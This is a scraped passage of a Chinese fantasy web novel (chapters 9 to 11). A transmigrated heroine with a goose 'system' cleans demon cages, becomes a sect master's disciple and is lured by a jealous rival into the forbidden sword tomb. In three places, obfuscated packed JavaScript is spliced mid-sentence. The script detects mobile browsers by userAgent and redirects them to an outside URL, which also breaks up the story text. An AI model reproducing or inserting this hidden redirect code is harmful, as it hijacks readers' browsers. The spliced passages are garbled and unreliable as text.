赤苋冒汗,对哦,我要是真有那么厉害,我还求她?完了,只顾着说服她了,牛皮好像吹大了。 “剑!我认识这把剑的主人,我可以做这把剑的剑灵。把我力量都给它。”赤苋补充说。 “认识剑的主人”这句话触动了林向遇的心弦。这么看来,这只妖和温淮好似并非什么苦大仇深的关系。林向遇对赤苋的戒备松了一些。 “好。但是必须先结契。”林向遇道。 这回换赤苋意外和惊喜了,他没犹豫道:“好。”为了即将迎来的阳光鲜花,还有新鲜空气,做什么都是值得的! 另一头的火牢房内却与这边格格不入,没有妖魔嘶吼没有咒骂,尖叫,一切事物都安安静静,仔细往里一瞧,所有隔间的妖魔无一不俯首称臣,一声不敢言,甚至主动收集了各自妖笼的浊气引入净瓶之中。 “少君,您接下来可有什么打算。”说话的是一只蛇妖,以他的年纪本该当蛇妖族长老,可惜,还没等他上位,整个妖界都灭亡了。 在这火牢房之间,也就蛇妖资历最老,最能够有资格同温淮说上话,在妖界不周山,蛇妖族一向是妖皇一脉的得力助手。 其中,蛇妖下的解霜一脉世代作为不周山妖皇的左膀右臂,更是与妖皇一脉的兴亡息息相关。温淮没回答,反问:“解霜在哪里?” “天火之后,少君和妖主都消失不见了,我也是四处逃窜,企图带着解霜一同逃离,可是……”蛇妖顿了一下,面露难色,“我没救出她,后来听说,解霜被玄真封进了太一剑宗的剑冢里。” 太一剑宗的剑宗位于炼器门,是禁地,任何人不得轻易进入。 在进入太一剑宗的这些时日,温淮将这里的一切摸得清清楚楚。 “知道了。”温淮留下这句话。 云崖天牢的第三天,四人基本已经收集完了内围牢房里的所有浊气,陆师兄将大家放出来,再对外围牢房进行清理。 “外围牢房的妖没有攻击力,但是你们要进入妖笼收集浊气。”陆师兄说。 “不是吧?进入妖笼?”黎筱禾不可置信,轻蔑地瞥了一眼妖笼里那些奇形怪状的妖,眉头蹙得更深了,嫌弃的意味溢于言表。 陆师兄可不是什么会怜香惜玉的人,“不然呢,让你过来是来让你受罚的还是享福的?什么时候打扫完了,什么时候才能出去。你们自己看着办吧。” 黎筱禾翻白眼,嘟囔一句:“有病。” 林向遇默默瞥了眼宋清梨,她看上去没太大的情绪变化,即便是受尽优待的掌门之女面对这种差事时也这般从容吗?清理妖笼的时候,林向遇默默和宋清梨站在了一块。 黎筱禾自己找了个干净地方站着,摆起郡主的架势一动不动,林向遇看她是不打算干活了,她不想干,谁也拿她没办法。外围这些活儿又是集体的活,她少干一点,林向遇她们就得多干一些。 林向遇叹了口气,宋清梨施法打开了一个妖笼,林向遇过去,甩了一张禁锢咒,将妖笼里的妖牢牢钉在墙上。“宋师姐,你放心收集浊气,这妖有我看着。” 宋清梨回头,说了句:“谢谢。” 林向遇笑了笑,“不用,说来是我该谢你才对。你要是为了帮我挡剑,也不会受罚。真的很谢谢你。” 宋清梨转头温声道,“这是我作为师姐应该做的。” 林向遇心里暖融融的。一时间内心不由得感慨,不愧是皎皎如天上明月般的女主,喜欢她再正常不过了。怪不得书中男配们都争先恐后地迷恋女主。换成她,她也迷恋。 大鹅的声音此时也在脑海里响起,“宿主,现在是很好的提高女主好感度的时机。加油,女主对你的好感度已经有百分之二十了。” 林向遇在心里默念,嗯,我会加油的。 此时另一处单间里,温淮挥手,妖笼自动打开,那妖远远见了温淮,缩在角落,匍匐在地。少君不许它发出声音,它就安安静静匍匐着,一动不动。温淮冷着脸,抬手引浊气入净瓶,很快便清理完了第一个妖笼的浊气。 在他正要打开第二个妖笼之际,不远处忽然传来此起彼伏的惊呼声,有他分外熟悉的声音,宋清梨,林向遇。 他转身,一股强悍的妖力震过来。他感受到强烈的妖力在这狭小的牢房内迅速膨胀,还混杂着强大的戾气。 他一看就看出来了,是蜘蛛妖吸饱了浊气,妖力大增,变异失控了。 那不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温淮蹲下身,双指按在宋清梨伤口上,“这毒死不了,只是若是处理不及时,会留下隐患。” 传言中妖中的果妖可解万毒,温淮起身走到其中一个妖笼前,一只竹节般的妖抱着膝盖瑟瑟发抖,刚想要说点什么,温淮抬手,将果妖捏在手里,像是掉落的果子一样砰地一声爆裂,淋漓妖血之下,只剩下一颗剔透的妖丹。 温淮把妖丹喂给宋清梨。 林向遇忍着心脏的绞痛,尽量让自己看起来正常,她瞥见温淮脸上未擦净的血,“你的伤?是不是又因为我?” 温淮抬手抹掉了脸上的血,也没有抬头看她一眼,不咸不淡道,“没事。” 林向遇捏了捏衣摆,骨节发白,尽管知道说抱歉没用,她低低道了声:“抱歉。” 她也不知道自己除了这个,还能做些什么去弥补对他造成的麻烦。唯一能做的就是不再给他添麻烦了吧。温淮专心查看宋清梨伤口的时候,林向遇就在旁边默默用左手抱住右手手臂,扯了扯撕裂的袖子,将那道伤口遮住。既然这毒没什么大碍,也就不必麻烦旁人。 林向遇忍着手臂上传来的火辣辣的痛,看着温淮耐心抱着宋清梨,悉心喂解药的那一幕,心底却还是不由自主地溢出更强烈的酸痛。她别过头,抬手擦去眼泪。 只是这点痛而已,哭什么哭,林向遇! 不久之后,云崖牢房来人了,三掌门听说宋清梨在这里的受了重伤,立马赶来。其后跟着陆师兄。 因为这个插曲,四个人在云崖天牢的受罚之旅提早结束。 林向遇也回到了炼器门,她忍着痛的扯了块布给自己包扎好,虽然包得像个粽子,毫无美感可言,不过好在没有依靠旁人。她脱力地躺在床板上,手臂上那一坨绑带膈得她不舒服,她回想自己手艺怎么如此粗糙,不应该啊。以前自己好像就没有过这种烦恼。 是为什么呢。她想起来了。年幼的时候自己磕磕绊绊受了伤,都是师父替自己包扎,后来,遇见了温淮,那时候他总是悉心地照顾自己,虽然是个男子,手却很巧,包的结自然又漂亮。完全不像她自己弄的,疙疙瘩瘩,像长了一块瘤子。 她叹了口气,不去那想那些了。 大鹅窝在草窝里,鹅头插进羽毛,正准备睡觉,林向遇唤道:“大鹅,大鹅,查看好感度。” 大鹅惊醒,一跃飞至林向遇怀里,“恭喜宿主,由于今日天牢里蜘蛛妖失控,你及时提剑护住女主,女主好感度提升至百分之三十。” 林向遇心情舒畅起来,想来完成系统任务也不是那么难嘛,也许回家就指日可待了呢!她笑得眯起眼睛,想到回家,所有伤痛都减淡了。 大鹅知道林向遇这些时日受了不少委屈,嘎嘎大叫,“加油宿主,回家指日可待。” 外面响起敲门声音,这么晚了不知道是谁,林向遇一只手撑着起身,“谁啊。” 不用想也知道,除了六师兄,谁还会特意来找她。 “遇师妹,又在同大鹅说悄悄话呢。”六师兄笑眯眯走进来,像是有天大的好消息要告诉林向遇,“在云崖天牢没受什么委屈吧?” 林向遇突然鼻子一酸,吸了吸鼻子,转而又露出欢笑道:“说委屈倒是谈不上,只不过那云崖天牢真不是人待的地方。” “这些几天辛苦遇师妹,不过,今天我过来要告诉你的是你的这些付出和委屈都是值得的。”六师兄顺势坐在床沿,话说了一半,还留了点神秘感。 非要等林向遇问出那句:“六师兄,你有什么好消息要告诉我吗?对了,是不是前几日内考放榜了,内门弟子里有我名字?”提到这事,林向遇眼睛亮了亮,熠熠闪光。 六师兄一拍手道:“猜得差不多,但不过是比这还要好的,天大的好消息。” 林向遇的胃口成功被六师兄吊得足足的,“到底是什么好消息,六师兄你就告诉我呗。” 六师兄拔高了声调,道:“从今以后,你就是我真正的有名分的遇师妹了。门主说了,破例收你亲传徒弟。” 10. 第 10 章 “遇师妹,是不是太高兴了,都高兴傻了吧。”六师兄抬手在林向遇眼前晃了晃,林向遇整个人石化在原地,花了好一会儿时间来接受这个消息。 她喃喃道,“是,我是太高兴,差点高兴得晕过去。” 这对林向遇来说,不知道是喜是忧。 六师兄高高兴兴地说:“那就好,今晚可千万不要睡不着觉哦,明日一早还要去给师尊敬茶。” 按照太一剑宗的惯例,拜师的第一天是要给师尊敬茶的。由于前些天林向遇一直在云崖天牢受罚,这敬茶的礼便推迟到了明日。 一想到明日一早就要去见李自珩,林向遇就有种不好的预感。谁知道这门主为什么突然就要收她为亲传了。明明在内考那天,他是那般地嫌弃和羞辱她。真是个脾气古怪的人。 反正事出反常必有妖。林向遇可不觉得成为李自珩的亲传弟子是件好事。 翌日一早,林向遇换上亲传弟子服,坐在镜子前,将垂在身前的发丝束起来,额前只留几缕碎发,再搭上白绿相间的劲装,挺直了背脊,整个人看上利落又精神。林向遇再拾起自己的桃木剑,背上一背,再甩出一张符咒将大鹅收进符里,往胸口一塞,就大摇大摆地出门去了,那高高束起来的青丝,随着走路的动作一摇一摆的。 李自珩平日一般待在溟涯殿,这里原是一个巨大的天然石洞,富有灵气,后来被建成了如今的溟涯殿,林向遇按照守门弟子的指引,站在那长长的石阶之下,仰头望去,一扇拱形大门横亘在长阶之上,其后便是无边无际的青灰色天幕。 拱门之上用石雕写着溟涯殿三个字。 林向遇是一步一个脚印走上去的。 到的时候,果然瞧见李自珩正坐在大殿中心,周围有几个服侍的弟子。按理说,修仙之人有灵力,做什么都很便利,因而日常之中根本不需要旁人服侍。掌门和长老都没有弟子专门服侍。 偏偏李自珩就是个例外。他娇贵得很。走到哪儿都需要人悉心照顾。 “弟子见过门主。”林向遇上前,“弟子给师父敬茶。” 李自珩小抿了一口便撂到一边,嫌弃道:“水不是清泉水,水温也过热。这才第一天,你是想给我个下马威吗?” 到底是谁给谁下马威。林向遇深呼口气,“弟子再给您重新泡。” “不用了。”李自珩摆摆手,盯着林向遇的肩侧眯了眯眼,忽然问道:“你在云崖天牢天牢受了伤?” 林向遇下意识遮掩了一下左臂,面对李自珩的打量,不太适应。 “既然做了我徒弟,就别成天委屈巴巴的了,这药拿去,毕竟我这儿也不是药谷,这药也只可缓解。有空你自己过去一趟。”李自珩丢过去一个小瓷瓶,林向遇打开,里面是几粒半透明的药粒。 林向遇心里哼了一声,对李自珩这种明明想要表示好心,却次次都要诋毁她一番的行为实在提不起感激之心。只能勉强说还行吧,不过比起她的师父可差远了。 李自珩凝神瞧着林向遇的表情,道:“你是对我有什么不满吗?怎么看上去不太满意的样子?” 林向遇立马摆着双手,她怎么敢说不满意呢,“没有没有。” “是没有,还是不敢。”李自珩凑近了,眯着眼盯林向遇,他束发上的串串珠宝随着他的动作垂下来,散发着幽绿光芒的珠宝,衬着他的脸给人诡异绮丽之感。他低头幽深的眸子盯着林向遇,绿珠子从他的发冠垂到林向遇眼前,几乎要贴在了林向遇的面颊上,冰冰凉凉,让她一阵心惊,只敢摇头。 只是这当档口,林向遇心里想的仍然是:当然是不敢。 成为李自珩徒弟的第一天,林向遇原以为这会儿总能学点法术剑招了吧。没想到这李自珩只是把她打发去了炼器室,然后叫她在那巨大的熔炼炉前扇了一天的火。 傍晚,林向遇拖着腰酸背疼的身体走回弟子宿舍时就在想:这门主是真有病。 恰好,路上又碰见了六师兄,六师兄问林向遇,“怎么样,今日第一天见师尊,感觉怎么样?门主带你学了新术法没。” 林向遇呵笑一声,只点点头,别提了。 晚间,林向遇躺在床上,正准备入睡,搁置在旁边的桃木剑忽然有异动,在木制茶桌上颤动个不停,林向遇被吵得无心入睡,只好起身,拿起剑,道:“大半夜的,你想干什么?” 他反而还委屈上了,“说好会让我出来的,我都待在这剑里好几天了。” 林向遇:“我什么时候说让你出来。给我乖乖待着,要是让别人知道一只妖附我剑上,遭罪的不只是你,连我也要被你连累。你知道我冒着多大风险放你出来的吗?你最好给我老实点。” 赤苋不说话了,他怕林向遇揍他。他也没想到林向遇看上去软软弱弱的女子态度却这样强硬。看来忽悠不着她了。 剑柄上印出来的那朵妖艳的红花闪了闪,旋即沉寂下去。赤苋开始琢磨别的办法对付林向遇。总不能真的一辈子都当她的奴隶任她使唤吧。得想想办法,逃离她,获取自由。 翌日,李自珩吩咐林向遇去离山采些煤石回来,作为炼器燃料,可这些杂事一般不向来外门弟子做的吗?不过林向遇没有质疑,李门主这个人阴晴不定,脾气变幻莫测,还是少惹他为好。 林向遇背着煤石回去的时候,恰好途径离山居,从前是这是太一剑宗掌门的居所,而后渐渐由其女宋清梨掌管并居住。 离山居处处依山傍水,仙雾缭绕,灵气充沛,假山流水,相映成趣,林向遇放下煤石,整理了一下自己的衣着和头发,才踏进离山居。 距离宋清梨受伤已经有好几日了。 林向遇自认经历过前几日的那些事情,自己和宋清梨已经可以称得上是朋友了,所以朋友受伤了,作为朋友的她却好几日没去看望,林向遇着实有些愧疚。如今路过,若是还过门而不入,岂不是太过意不去了? 在往里走,一片茫茫的莲塘,莲塘上座座飞檐瓦舍,美观雅致,又不失大气。座座廊桥屋舍相连,悬于水面之上,成就了这离山居。 林向遇刚踏上桥廊,今日是个阴天,不知道何时下起细雨,斜斜飘荡,茫茫然莲塘上沸腾起来似的,起了茫茫大雾。 有身影从细雨中走来,身形颀长,白衣翩翩,走近了林向遇才看清,是薛迟,薛迟望见林向遇也是一顿,他对林向遇还有一点印象,“你来这里做什么?” “我,”林向遇不知道为何一时卡顿了,不知道为何莫名局促和不安,“我来看望清梨师姐。她怎么样了?” “已经没有大碍了。这雨快要下大了,你先回去吧。这些时日已经有很多弟子前来看望清梨。人太多了,反而扰她清净。你们的好意我替她领了。”薛迟道,他也没撑伞,白皙脸上雨珠七零八落地往下滑。 意思是想要来看望宋清梨的人很多,你还排不上号。林向遇当然听出来这层意思。她讷讷道了一声,“那就替我向她问个好。” 薛迟点头,多看了林向遇一眼。 这时,身后不知道何时多了好些人,一个个撑着油纸伞奔走而来,看见薛迟,远远招呼道:“大师兄,清梨师姐怎么样了。我们才听说清梨师姐在受罚期间被妖伤了。怎么样了。没有关系吧?” “我还带了我自己炼的清气药来。一定有用的。” 另一个人挤走前一个人,推搡道:“还有我的,我带了烤鸡来给师姐补补身子。我说那三掌门也未免太不近人情了吧,师姐明明是做好事救人,无辜被牵扯进去的,怎么就按照门规一起被罚呢?要怪就怪当时那个女修太弱了,打不过别打啊,逞强还把清梨师姐牵连进来的。害得师姐被罚。” 那弟子大概还不知道林向遇就是他口中的那个菜鸡的女修,若是知道,他应当不会当着林向遇的面吐槽她。毕竟林向遇现如今再怎么样也是炼器门门主的亲传了。正所谓打狗还得看主人呢。 薛迟则是清咳一声,面色有点尴尬,还是道:“她现在情况挺好,你们不必担心。” “怎么能不担心呢。听说那蜘蛛妖有毒素的。不会有生命危险吧?师姐的腿该不会要截掉吧?”说着那弟子激动地往前几步,正正好撞了林向遇一下,撞上她手臂上一道裂口上,刚结痂的伤口好像又裂开来了,林向遇清晰地感知到粘腻的血在往外冒,洇湿了纱布。 她咬了咬牙,侧过身体,离那人更远了些。 几个弟子还在缠着薛迟询问宋清梨的状况。 林向遇默默后退一步,正想要离开,却转身差点撞上一道高大的身影,林向遇及时止步,后退几步。抬头,猝不及防撞进温淮眼里。 他一身青衣,身后是飘零的雨和雾蒙蒙的青山,愈看愈有种他与周遭的景融为一体的错觉。 “她怎么样?”这是温淮第一句。 问的自然是宋清梨怎么样。 林向遇勉强露出一抹笑,仿佛感知不到手臂伤口撕裂的疼了。雨也浸湿了伤口。 “还不知道,里面人多,还不能进去。不过听说没什么大碍。”她笑笑说,尽量让自己身体侧过一边,她不知道自己手臂上的血迹透出来了没有,要是被旁人看见就不好了。 没有别的原因,只是不想被旁人看见。这点伤痛她本来可以自己承受,但如果恰好被别人看见了,就会觉得她可怜。 林向遇觉得自己不需要旁人的可怜。 细雨愈来愈猛烈,狂风席卷,刮得远处的树木剧烈摇摆,池塘的睡莲左右飘零。 林向遇浑身上下湿透了。温淮也是,雨珠顺着他的发丝往下淌,一个个砸下去,水流顺着他立体的眉骨流向高挺的鼻尖,再一路蜿蜒着,落在唇峰上,顺着绯红的唇,顺着下巴,滑进滚动的喉结上。 林向遇抿了抿嘴,收回目光。 两人就在这细雨中相对而立,林向遇忽然问:“听说你进入内门了。恭喜你。” 温淮淡淡嗯了一声。眼前人瘦瘦小小,青白相间的弟子服湿透了,紧贴在紧致的手臂和腰线上,她仍挺直了背,立在风雨离,一丝一毫都不会被风雨吹动。这小小的身子就把她背上背着的那一并木剑衬得尤为明显。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481118|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 桃木剑也沾了雨,颜色变成一种沉重的深。 温淮突然张口问林向遇,“还留着这柄没用的剑做什么?炼器门门主不是已经收你为徒了?剑冢又在炼器门,里面天才地宝应有尽有,他应当会送你更好的剑才是。” 林向遇啊了一声,不知道温淮这话什么意思,还是解释说:“炼器门的剑冢一向是禁地。不能随意进去的。被门主知道了,会挨罚。” 温淮道:“既是剑冢,里面的剑为什么不拿出来给大家使用,连对亲传弟子都如此吝啬,莫不是藏着什么秘密?” 林向遇道:“可能只是怕有心之人争夺吧。毕竟外面不知道多少人对太一剑宗的剑冢虎视眈眈。若是不有心防止,这剑冢里的见说不定早就没了。” 温淮忽然嗤了一声,道:“也是。” 毕竟都是偷来的剑,自然得好好护着才是。 温淮不再言语,转身离去。 林向遇望着转身离去的身影,越来越淡,几乎与青山融为一体,她自顾低头,左臂上的纱布凸起来一块,在雨点敲打下,洇出极淡极淡的粉红,红颜色越来越深了。 - 炼器门有一处桃花林,据说是李门主年轻的时候的种下的,桃林内设了不少亭子,闲暇时候他一个人在这桃花林里喝酒品茶,因着有灵力的维持,桃花常开不败。在初夏季节开得尤其浓艳,花香四溢。 林向遇经得李门主的允许,可以在这里练剑。当他亲传弟子也就这点好处吧,林向遇默默地想。而且也只有在没有差事的时候才能练剑。 所以林向遇挺珍惜每次练剑的机会。 最近的雨总是连绵不断,细雨连着从早下到晚。次次都把林向遇好不容易包扎好的伤口浇了透,湿气就顺着伤口往里钻,使得伤口一而再再而三地复发,控制不住地流脓腐烂。真是倒霉。林向遇想。 练剑要紧。 桃木剑出鞘,在连绵的雨里舞出绚丽的狂风,带起一地荼蘼的桃花,雨花桃花,交缠交织,随着锐利的剑风盘旋。 那只花妖确实助涨了剑势。林向遇想,现在她握起剑,感受的全是清气在体内横冲直撞,剑气和体内清气沆瀣一气,林向遇能够明显感知到剑在自己手中,完全由自己掌握,体内的气和剑气渐渐能够融为一体,剑既是她,她既是剑。 这种向上的,进步的感受让她着迷。 往日,林向遇在桃林练剑的时候,李门主有时候会在旁边,就斜倚不远处那颗歪脖子桃树上,懒洋洋地喝着桃花酒,长袖飘飘,从桃树上垂下如瀑的青丝,时不时点评或挖苦林向遇几句,然后继续悠悠闲闲地喝酒。 今日李门主不在。估计有事情离开了。林向遇向来捉摸不透他。也并不想琢磨他。 不多时,桃林之中来了人。 林向遇握紧桃木剑,收起剑招,将剑别在身后,抬眼看向来人。 来人是林向遇没想到的。 黎筱禾撑着油纸伞站在雨里,浑身上下一滴雨也没有被淋湿,连头发也一丝不苟,“林向遇你在这儿。李门主让我转告你,三掌门最近需要炼制一把新的刑骨鞭,要你去后山靠近剑冢的地方采些废铁来重新熔炼。” 林向遇没吭声,而是静静地盯着黎筱禾。 黎筱禾道:“你知道门主今日去哪里去了吗?就是为的这件事情。他为了三掌门的刑骨鞭去杀南海的百年骨鱼去了。临时传信让我告知你让你去采些废铁回来。门主几天后回来的时候就要开始熔炼。” 黎筱禾上下打量着林向遇,看林向遇在雨里,淋得面目全非。黎筱禾眼里依然一贯的傲慢,她提醒:“你提前备好。不然门主回来降罪于你,可别怪我没提醒你。毕竟门主那个脾气谁不知道。” 良久,林向遇才道了一句:“嗯,知道了。” * 看着林向遇瘦弱的身影渐渐消失在后山的阴雨中,春桥替黎筱禾打着伞,小心翼翼道:“郡主,这真的行吗?要是被门主发现是我们在后山做了手脚,故意害她进入禁地……”毕竟现在林向遇可是门主徒弟了,可不能像从前一样想怎么做就怎么做。 “蠢货,这事你不说我不说谁知道。给我守好你的嘴。后山那么大,她自己迷路闯入禁地,还能怪到我们头上?后山本就经常起迷障,我们只是加深了而已。谁能查到这里?” 黎筱禾盯着林向遇离去的方向,得意的笑,“擅长禁地这一罪行够她好好罚上一罚。一个天资如此低下的女修,凭什么走后门成为亲传。真不知道门主被她灌了什么迷魂汤。我就要给她点教训尝尝。省得日后更加目中无人。” “说得是,郡主。就该给这种人一点教训尝尝。这种出身低贱的人原来在下界是给您提鞋都不配的。如今凭什么还踩到了您头上。贱人活该。”春桥附和,她在下界就是郡主的丫鬟,一直伺候郡主,待郡主拜入了太一剑宗,她被王爷夫人打点着过来服侍郡主。 这话不知道哪里刺中了黎筱禾的痛出,她呵了一声,“闭嘴!” 春桥讪讪闭起嘴巴,不敢再多一言。 11. 第 11 章 林向遇刚进入后山,后山已然雾气霭霭。雨天,山中大雾原本是很正常的事。只是林向遇走着走着,越来越觉得不对劲,满天满地的雾气连日淤积,无论她走到哪里,周围景象都没有变化。 不好,遇见了迷障了。 这后山有时候会起迷障林向遇先前是听说过的。后山有些地方地势低洼,常年阴气淤积,又加上潮湿起雾,三者相融合,便生出了迷障。 因此在后山遇见迷障是常有的事儿,炼器门的弟子们大都习以为常。并且有办法轻松应对。 六师兄就告诉过林向遇,遇见迷障时候,不用慌,屏气凝神,让清气贯通全身,再使用一个避气咒,便能使自己不受干扰。 林向遇试了一下,不管用。周围一切还是雾蒙蒙的。 莫非是她修为太低了? 不过好在,六师兄还告诉她,咱们的门主早就料到有的弟子修为低下,就是容易被迷障迷惑,专门设立了鸟屋,里面是门主养的灵鸟。百米一处鸟屋,只需要找到它,然后随机找一只灵鸟给你带路,便能走出迷障了。 林向遇按照这法子,走了很久,并没有看到所谓的鸟屋,也没有见到任何一只灵鸟,甚至连鸟叫都没有听见。她试着学往日里门主唤鸟的哨声去唤灵鸟。还是无用。一点反应都没有。只有迷雾依旧,一如往昔。 林向遇渐渐意识到不对劲,今时今地的迷障怎么如此强?按照后山这种地势条件自然情况下应当生不出如此强悍的迷障,让人一直困在其中。 毕竟林向遇来后山的次数也不多,她也不清楚状况,没有擅自行动,想着等迷障瘴气减淡一些再试试避气咒有没有用,于是林向遇席地而坐,扯着地上沾着露水的杂草,手变得湿淋淋的。 她又没有六师兄和门主的传唤诀,无法用传唤咒给向他们求救。而且就算有也没有,六师兄跟着门主去了南海。门主更不用提,若是这点小事还特意向他求救,一定会被他狠狠奚落一番。 好无聊,迷障看起来没有要散的意思。林向遇从胸口掏出一张收纳符,上面印有一只大鹅,她念咒甩手,一只圆滚滚的大鹅滚了出来。 “嘎嘎!”大鹅重重跌落在湿润的草丛中,用羽毛捂着鹅屁股嘎嘎叫,“痛死我了,下次可不可以温柔一点!” 林向遇挠挠头,道:“我还以为你肉这么多不会疼呢。” 大鹅:“……”在旁边气得跳起来。 不过,没多久,它默默走到林向遇身旁,环顾四周,大片大片幽绿和浓雾,几米之外就一片茫茫大雾,什么也看不清,大鹅起了一身鸡皮疙瘩,“这是什么地方?宿主你把我带哪来了?” 林向遇摆摆手,“我也不知道,这不是不知道才叫你出来的吗。你有什么办法能带我出去?” “没有噶,我只是一只大鹅。”大鹅昂了昂额头,挺起了鹅胸脯。 林向遇叹息一声,没再理会大鹅,自顾自屏息凝气,看看有没有什么办法能破除瘴气。她再转头的时候,大鹅两眼变成了斗鸡眼,盯着迷雾某处嘎嘎叫,“白菜大白菜。” 林向遇晃了晃大鹅的鹅豆眼,“大鹅,系统,你怎么了?”被瘴气迷惑了?眼里都大白菜? 大鹅不理会林向遇,扑腾着翅膀跑得飞快,朝着迷障深处一路快行,林向遇赶忙追上去,“大鹅,醒醒。前面没有大白菜。快点回来!” 情况有点糟糕,林向遇一路跟着大鹅跑,不知道跑到了什么地方,等她抓住大鹅的时候,再也无法回头了。 这是什么地方。 林向遇抓着大鹅扑腾的翅膀,将大鹅揽进怀里,往它鹅头上拍了一掌,让它清醒清醒,大鹅脑袋上无数星星转圈圈,好一会儿它才堪堪有了意识,鹅豆眼聚焦在实物上,下一瞬就吓得差点又双眼一黑晕过去了。 天已经很黑了,她们所处的这片林子似乎格外密,四周林立着一个个参天巨木,其间一条小路蜿蜒下来,路的尽头不知道是什么,不一会儿,林向遇和大鹅后方传来微弱的血色的荧光,从林立的巨木中透出点点亮,愈来愈近,在向这边靠近。 一个个小人头上各自盘旋着一只血萤,依次排成长队沿着这条小路慢悠悠地走了过来。这些小人看不清脸,半透明,像魂,林向遇浑身上下起了一层鸡皮疙瘩。 大鹅没忍住叫出声,“噶”地一声,林向遇立马掐住大鹅的喙,不过这时候已经来不及了。 那一排整整齐齐的半透明的小人,转过头来,面无表情地看着林向遇,何止面无表情,就连五官都没有。 林向遇忍住手抖,握紧了桃木剑,她想装做自己是木头人,只要一动不动这些“东西”应当不会把林向遇当作外来者,从而起杀心吧! 于是她真的一动不动,把自己当成和周围一样树木,好在,这一招似乎有效,半透明小人们很快回过头,沿着小径继续赶路。 林向遇呼出一口起,再抬眼的时候,和队伍最后方一个小人面对面对上了,一张没有五官的脸怼在面前,林向遇的魂也差点没了。 见林向遇快要晕倒了,小人还歪歪头,一副奇怪的样子。 “她果然被吓到了!” 小人稚嫩的声音响起,紧接着,队伍里的一列小人同时转过头来,纷纷捂着肚子,稚气宛若小孩般的笑次第响起。 “她该不会天真地以为她装作不动我们就看不见她了吧?” “这个女修好傻,太一剑宗招收的弟子真是一届不如一届了。以前擅闯剑冢叛变弟子好歹修为最低也是个金丹。现在真是什么人都敢造反了。” “对啊,咱们剑冢也好久好久没有人来过了。吓唬吓唬这女修,真有意思。” “嘿,你叫什么名字,你也是来偷剑的么?想要偷哪把剑?要不你把偷走呗。我本是上上上一届炼器门门主徒弟的剑灵,那剑自从入了这剑冢时候便沉寂了。我日日待在剑里都无聊死了。只好偷偷跑出来玩。但是这剑冢也就这么大点地方,真是无聊,我也很厉害的,你让我当你的剑灵呗。”是刚刚走在队伍最后方的那只小人,它此刻正“盯着”林向遇手上的桃木剑。 原来这些小人只是剑里的剑灵。剑冢里无数把剑,有的是几百年几千年来就待在这里了,那些剑随着主人的离世,自动回归剑冢,最终沉寂下去,而剑中的剑灵也因为剑的沉寂,慢慢从剑中脱离,主人也亡,剑也沉寂,它只得天天在剑冢里无所事事地游荡。 桃木剑上印着的艳丽红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481119|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花闪了闪,响起赤苋的大叫,“去去去,这剑已经有剑灵了。就是我。” “好吧。”小小的剑灵还不死心,自从主人离世,剑归于沉寂,它一个人在这剑冢里待了太久,它太渴望外面的世界,“可是一把剑其实可以有两个剑灵的。” 赤苋:“不行!主人只能有我一个。”成为这桃木剑的剑灵是他好不容易求来,哪能轻易跟别人共享。主人只能有我一个剑灵,旁的人想都别想。 林向遇:“……” 小剑灵没有五官没有表情,只是垂头。 远处忽然传来一阵剑的嗡鸣声,如轻风一般荡了过去,所有剑灵瞬间抬起头,向着头一个方向望去,虽然都没有眼睛,却像是在透过重重巨木看向同一个东西。旋即,又荡过一阵剑鸣,所有剑灵沿着小路,朝着声音传来的方向前行。 “有东西在指引这些剑灵过去。”林向遇想要跟上去,天太黑,她不小心撞上一颗巨木,抬起头的瞬间,她哑然。 她从没有想过,也许这些不是树木呢? 林向遇抬头,看见的是一柄巨大的剑直直钉在大地上,她所见到的并非一片树林,而是一把把十几米高的剑,牢牢插在这片荒芜的大地上。难怪她还奇怪这片林子怎么光有树没有草。 根本不是树而已。都是剑。 林向遇深呼口气,刚才听那些剑灵说这里便是传闻中的剑冢。怎么就走到了剑冢来了?林向遇一手提来大鹅的翅膀,“看来真不该放你出来。”说着符咒一拍,将大鹅收了进去,立马追上剑灵们,跟在队伍最后方。 天越来越暗,月光越来越亮,将周遭一切照得死白死白。走出剑林,月光下,俨然一片宽阔的圜丘,圜丘中心立着一柄剑碑。上面什么都没有刻。 无字剑碑。剑灵们还在继续朝着中心那剑碑走。林向遇混入剑灵队伍最后方紧跟着它们。圜丘八个角,八个方位上如流水般地汇入小剑灵们。最前方的剑灵到了剑碑前停下来,后面的剑灵们也依次顿住,默然地停在这个地方。 剑鸣又一阵荡过来,林向遇亲眼看见,粼粼月光下,幽幽灵气从剑灵们身上升起,引向剑碑中心,最后尽数没入剑碑之中,消湮于无。 所有剑灵集体低头,沉默,待那剑碑吸饱了灵气之后,那些剑灵又排着长队,依次退开。林向遇还是默默跟在最后方。待走到剑碑前方之时候,她悄无声息地脱离队伍,她倒要看看,这剑碑中到底藏了什么鬼?竟然有着如此强大的东西,日日吸食着这剑冢里剑灵的灵气。 剑冢里,除了剑和剑灵,还有别的东西吗? 林向遇一转头,猛地瞥见一个身影,近在咫尺,还不待她反应,自己已然被锁住喉,捂住嘴。桃木剑出鞘,林向遇刚要拔剑,耳边传来熟悉的声音,宛如小雨落在骨头上,酥酥麻麻,“别说话。” 